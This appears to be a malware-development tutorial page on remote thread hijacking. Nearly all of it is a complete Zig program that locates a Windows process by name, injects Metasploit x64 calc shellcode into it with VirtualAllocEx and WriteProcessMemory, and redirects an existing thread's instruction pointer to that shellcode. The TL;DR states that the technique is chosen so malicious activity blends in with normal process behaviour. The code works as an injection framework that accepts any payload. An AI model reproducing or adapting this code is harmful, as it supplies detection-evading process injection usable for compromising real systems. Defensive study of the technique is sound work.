Remote Thread Enumeration
TL;DR
This sample enumerates threads in a remote target process and hijacks one to execute shellcode. The code uses CreateToolhelp32Snapshot
to discover processes by name, then enumerates threads within the remote target process to find an accessible one.
Remote thread hijacking works by suspending the selected thread, modifying its instruction pointer (RIP) via GetThreadContext
/SetThreadContext
to point to injected shellcode, then resuming execution. This approach leverages existing legitimate threads in another process rather than creating suspicious new ones, making the malicious activity blend in with normal process behavior while retaining the original thread's stack and execution context.
Code Walkthrough
main.zig
const std = @import("std");
const print = std.debug.print;
const windows = std.os.windows;
const WINAPI = windows.WINAPI;
// External Windows API functions not in std.os.windows
extern "kernel32" fn CreateToolhelp32Snapshot(dwFlags: windows.DWORD, th32ProcessID: windows.DWORD) callconv(WINAPI) windows.HANDLE;
extern "kernel32" fn Process32FirstW(hSnapshot: windows.HANDLE, lppe: *PROCESSENTRY32W) callconv(WINAPI) windows.BOOL;
extern "kernel32" fn Process32NextW(hSnapshot: windows.HANDLE, lppe: *PROCESSENTRY32W) callconv(WINAPI) windows.BOOL;
extern "kernel32" fn Thread32First(hSnapshot: windows.HANDLE, lpte: *THREADENTRY32) callconv(WINAPI) windows.BOOL;
extern "kernel32" fn Thread32Next(hSnapshot: windows.HANDLE, lpte: *THREADENTRY32) callconv(WINAPI) windows.BOOL;
extern "kernel32" fn OpenThread(dwDesiredAccess: windows.DWORD, bInheritHandle: windows.BOOL, dwThreadId: windows.DWORD) callconv(WINAPI) ?windows.HANDLE;
extern "kernel32" fn SuspendThread(hThread: windows.HANDLE) callconv(WINAPI) windows.DWORD;
extern "kernel32" fn ResumeThread(hThread: windows.HANDLE) callconv(WINAPI) windows.DWORD;
extern "kernel32" fn GetThreadContext(hThread: windows.HANDLE, lpContext: *CONTEXT) callconv(WINAPI) windows.BOOL;
extern "kernel32" fn SetThreadContext(hThread: windows.HANDLE, lpContext: *const CONTEXT) callconv(WINAPI) windows.BOOL;
extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(WINAPI) ?windows.HANDLE;
extern "kernel32" fn VirtualAllocEx(
hProcess: HANDLE,
lpAddress: ?LPVOID,
dwSize: SIZE_T,
flAllocationType: DWORD,
flProtect: DWORD,
) callconv(WINAPI) ?LPVOID;
// Constants
const TH32CS_SNAPPROCESS: windows.DWORD = 0x00000002;
const TH32CS_SNAPTHREAD: windows.DWORD = 0x00000004;
const THREAD_ALL_ACCESS: windows.DWORD = 0x001FFFFF;
const CONTEXT_ALL: windows.DWORD = 0x001003FF;
const MAX_PATH: usize = windows.MAX_PATH;
const LPVOID = windows.LPVOID;
const SIZE_T = windows.SIZE_T;
const HANDLE = windows.HANDLE;
const BOOL = windows.BOOL;
const DWORD = windows.DWORD;
const PROCESS_ALL_ACCESS: windows.DWORD = 0x001FFFFF;
// Structures
const PROCESSENTRY32W = extern struct {
dwSize: windows.DWORD,
cntUsage: windows.DWORD,
th32ProcessID: windows.DWORD,
th32DefaultHeapID: windows.ULONG_PTR,
th32ModuleID: windows.DWORD,
cntThreads: windows.DWORD,
th32ParentProcessID: windows.DWORD,
pcPriClassBase: windows.LONG,
dwFlags: windows.DWORD,
szExeFile: [MAX_PATH]u16,
};
const THREADENTRY32 = extern struct {
dwSize: windows.DWORD,
cntUsage: windows.DWORD,
th32ThreadID: windows.DWORD,
th32OwnerProcessID: windows.DWORD,
tpBasePri: windows.LONG,
tpDeltaPri: windows.LONG,
dwFlags: windows.DWORD,
};
const CONTEXT = extern struct {
P1Home: u64,
P2Home: u64,
P3Home: u64,
P4Home: u64,
P5Home: u64,
P6Home: u64,
ContextFlags: DWORD,
MxCsr: DWORD,
SegCs: u16,
SegDs: u16,
SegEs: u16,
SegFs: u16,
SegGs: u16,
SegSs: u16,
EFlags: DWORD,
Dr0: u64,
Dr1: u64,
Dr2: u64,
Dr3: u64,
Dr6: u64,
Dr7: u64,
Rax: u64,
Rcx: u64,
Rdx: u64,
Rbx: u64,
Rsp: u64,
Rbp: u64,
Rsi: u64,
Rdi: u64,
R8: u64,
R9: u64,
R10: u64,
R11: u64,
R12: u64,
R13: u64,
R14: u64,
R15: u64,
Rip: u64,
FltSave: [512]u8,
VectorRegister: [26][16]u8,
VectorControl: u64,
DebugControl: u64,
LastBranchToRip: u64,
LastBranchFromRip: u64,
LastExceptionToRip: u64,
LastExceptionFromRip: u64,
};
// x64 calc metasploit shellcode
const payload = [_]u8{
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00,
};
fn waitForEnter() void {
var buffer: [256]u8 = undefined;
_ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}
fn toLowerString(allocator: std.mem.Allocator, input: []const u16) ![]u16 {
var result = try allocator.alloc(u16, input.len);
for (input, 0..) |char, i| {
result[i] = if (char >= 'A' and char <= 'Z') char + 32 else char;
}
return result;
}
fn getRemoteProcessHandle(allocator: std.mem.Allocator, process_name: []const u16) !struct { pid: windows.DWORD, handle: windows.HANDLE } {
var process_entry = PROCESSENTRY32W{
.dwSize = @sizeOf(PROCESSENTRY32W),
.cntUsage = 0,
.th32ProcessID = 0,
.th32DefaultHeapID = 0,
.th32ModuleID = 0,
.cntThreads = 0,
.th32ParentProcessID = 0,
.pcPriClassBase = 0,
.dwFlags = 0,
.szExeFile = std.mem.zeroes([MAX_PATH]u16),
};
const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == windows.INVALID_HANDLE_VALUE) {
print("\t[!] CreateToolhelp32Snapshot Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return error.SnapshotFailed;
}
defer _ = windows.CloseHandle(snapshot);
if (Process32FirstW(snapshot, &process_entry) == 0) {
print("\t[!] Process32FirstW Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return error.ProcessEnumFailed;
}
while (true) {
var name_len: usize = 0;
for (process_entry.szExeFile) |char| {
if (char == 0) break;
name_len += 1;
}
if (name_len > 0) {
const lower_name = try toLowerString(allocator, process_entry.szExeFile[0..name_len]);
defer allocator.free(lower_name);
const lower_target = try toLowerString(allocator, process_name);
defer allocator.free(lower_target);
if (std.mem.eql(u16, lower_name, lower_target)) {
const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_entry.th32ProcessID);
if (handle == null) {
print("\t[!] OpenProcess Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return error.OpenProcessFailed;
}
return .{ .pid = process_entry.th32ProcessID, .handle = handle.? };
}
}
if (Process32NextW(snapshot, &process_entry) == 0) break;
}
return error.ProcessNotFound;
}
// Modified to find a suitable thread (not in alertable wait state)
fn getRemoteThreadHandle(process_id: windows.DWORD) !struct { tid: windows.DWORD, handle: windows.HANDLE } {
var thread_entry = THREADENTRY32{
.dwSize = @sizeOf(THREADENTRY32),
.cntUsage = 0,
.th32ThreadID = 0,
.th32OwnerProcessID = 0,
.tpBasePri = 0,
.tpDeltaPri = 0,
.dwFlags = 0,
};
const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (snapshot == windows.INVALID_HANDLE_VALUE) {
print("\t[!] CreateToolhelp32Snapshot Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return error.SnapshotFailed;
}
defer _ = windows.CloseHandle(snapshot);
if (Thread32First(snapshot, &thread_entry) == 0) {
print("\t[!] Thread32First Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return error.ThreadEnumFailed;
}
var candidate_threads: [10]windows.DWORD = undefined;
var candidate_count: usize = 0;
// Collect all threads from the target process
while (true) {
if (thread_entry.th32OwnerProcessID == process_id and candidate_count < candidate_threads.len) {
candidate_threads[candidate_count] = thread_entry.th32ThreadID;
candidate_count += 1;
}
if (Thread32Next(snapshot, &thread_entry) == 0) break;
}
// Try to open each thread
for (candidate_threads[0..candidate_count]) |thread_id| {
const handle = OpenThread(THREAD_ALL_ACCESS, 0, thread_id);
if (handle != null) {
print("\t[i] Successfully opened thread {}\n", .{thread_id});
return .{ .tid = thread_id, .handle = handle.? };
} else {
print("\t[!] Failed to open thread {} with error: {}\n", .{ thread_id, windows.kernel32.GetLastError() });
}
}
return error.ThreadNotFound;
}
fn injectShellcodeToRemoteProcess(process_handle: windows.HANDLE, shellcode: []const u8) !*anyopaque {
// Step 1: Allocate memory in remote process
const address = VirtualAllocEx(
process_handle,
null,
shellcode.len,
windows.MEM_COMMIT | windows.MEM_RESERVE,
windows.PAGE_READWRITE,
);
if (address == null) {
print("\t[!] VirtualAllocEx Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return error.VirtualAllocFailed;
}
print("\t[i] Allocated Memory At: 0x{X}\n", .{@intFromPtr(address)});
print("\t[#] Press <Enter> To Write Payload ... ", .{});
waitForEnter();
// Step 2: Write shellcode to allocated memory
if (windows.WriteProcessMemory(process_handle, address, shellcode)) |bytes_written| {
if (bytes_written != shellcode.len) {
print("[!] {}/{} bytes memory written\n", .{ bytes_written, shellcode.len });
return error.IncompleteWrite;
}
} else |err| {
print("\t[!] WriteProcessMemory Failed With Error: {}\n", .{err});
return error.WriteProcessMemoryFailed;
}
print("\t[i] Successfully Written {} Bytes\n", .{shellcode.len});
// Step 3: Change memory protection to executable
const old_protection = windows.VirtualProtectEx(
process_handle,
address,
shellcode.len,
windows.PAGE_EXECUTE_READWRITE,
) catch |err| {
print("\t[!] VirtualProtectEx Failed With Error: {}\n", .{err});
return error.VirtualProtectFailed;
};
_ = old_protection;
return address.?;
}
// Enhanced thread hijacking with better error handling and verification
fn hijackThread(thread_handle: windows.HANDLE, address: *anyopaque) !bool {
var thread_context = std.mem.zeroes(CONTEXT);
thread_context.ContextFlags = CONTEXT_ALL;
print("\t[DEBUG] Target shellcode address: 0x{X}\n", .{@intFromPtr(address)});
// Step 1: Suspend the thread
print("\t[DEBUG] Suspending thread...\n", .{});
const suspend_count = SuspendThread(thread_handle);
if (suspend_count == 0xFFFFFFFF) {
const error_code = windows.kernel32.GetLastError();
print("\t[!] SuspendThread Failed With Error: {} (0x{X})\n", .{ error_code, error_code });
return false;
}
print("\t[i] Thread suspended (suspend count: {})\n", .{suspend_count});
// Step 2: Get thread context
print("\t[DEBUG] Getting thread context...\n", .{});
if (GetThreadContext(thread_handle, &thread_context) == 0) {
const error_code = windows.kernel32.GetLastError();
print("\t[!] GetThreadContext Failed With Error: {} (0x{X})\n", .{ error_code, error_code });
_ = ResumeThread(thread_handle);
return false;
}
print("\t[i] Original RIP: 0x{X}\n", .{thread_context.Rip});
print("\t[i] Original RSP: 0x{X}\n", .{thread_context.Rsp});
// Step 3: Modify the instruction pointer to our shellcode
thread_context.Rip = @intFromPtr(address);
print("\t[i] New RIP: 0x{X}\n", .{thread_context.Rip});
// Step 4: Set the modified context
print("\t[DEBUG] Setting new thread context...\n", .{});
if (SetThreadContext(thread_handle, &thread_context) == 0) {
const error_code = windows.kernel32.GetLastError();
print("\t[!] SetThreadContext Failed With Error: {} (0x{X})\n", .{ error_code, error_code });
_ = ResumeThread(thread_handle);
return false;
}
// Step 5: Verify the context was set correctly
var verify_context = std.mem.zeroes(CONTEXT);
verify_context.ContextFlags = CONTEXT_ALL;
if (GetThreadContext(thread_handle, &verify_context) != 0) {
print("\t[i] Verified RIP: 0x{X}\n", .{verify_context.Rip});
if (verify_context.Rip != @intFromPtr(address)) {
print("\t[!] WARNING: RIP verification failed!\n", .{});
}
}
print("\t[#] Press <Enter> To Resume Thread And Execute Shellcode ... ", .{});
waitForEnter();
// Step 6: Resume the thread
print("\t[DEBUG] Resuming thread...\n", .{});
const resume_count = ResumeThread(thread_handle);
if (resume_count == 0xFFFFFFFF) {
const error_code = windows.kernel32.GetLastError();
print("\t[!] ResumeThread Failed With Error: {} (0x{X})\n", .{ error_code, error_code });
return false;
}
print("\t[i] Thread resumed (resume count: {})\n", .{resume_count});
// Give the shellcode some time to execute
print("\t[i] Waiting for shellcode execution...\n", .{});
// ONLY call WaitForSingleObject if everything succeeded
_ = try windows.WaitForSingleObject(thread_handle, windows.INFINITE);
return true;
}
pub fn main() !void {
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
defer _ = gpa.deinit();
const allocator = gpa.allocator();
const args = try std.process.argsAlloc(allocator);
defer std.process.argsFree(allocator, args);
if (args.len < 2) {
print("[!] Usage: {s} <Process Name>\n", .{args[0]});
return;
}
const process_name_utf8 = args[1];
const process_name_utf16 = try std.unicode.utf8ToUtf16LeAllocZ(allocator, process_name_utf8);
defer allocator.free(process_name_utf16);
print("[i] Searching For Process Id Of \"{s}\" ...\n", .{process_name_utf8});
const process_info = getRemoteProcessHandle(allocator, process_name_utf16) catch |err| {
switch (err) {
error.ProcessNotFound => {
print("[!] Process \"{s}\" is Not Found\n", .{process_name_utf8});
return;
},
else => return err,
}
};
defer _ = windows.CloseHandle(process_info.handle);
print("\t[i] Found Target Process Pid: {}\n", .{process_info.pid});
print("[+] DONE\n\n", .{});
print("[i] Searching For A Thread Under The Target Process ...\n", .{});
const thread_info = getRemoteThreadHandle(process_info.pid) catch |err| {
switch (err) {
error.ThreadNotFound => {
print("[!] No Accessible Thread is Found\n", .{});
return;
},
else => return err,
}
};
defer _ = windows.CloseHandle(thread_info.handle);
print("\t[i] Found Target Thread Of Id: {}\n", .{thread_info.tid});
print("[+] DONE\n\n", .{});
print("[i] Writing Shellcode To The Target Process ...\n", .{});
const injected_address = injectShellcodeToRemoteProcess(process_info.handle, &payload) catch return;
print("[+] DONE\n\n", .{});
print("[i] Hijacking The Target Thread To Run Our Shellcode ...\n", .{});
if (!try hijackThread(thread_info.handle, injected_address)) {
return;
}
print("[+] DONE\n\n", .{});
print("[#] Press <Enter> To Quit ... ", .{});
waitForEnter();
}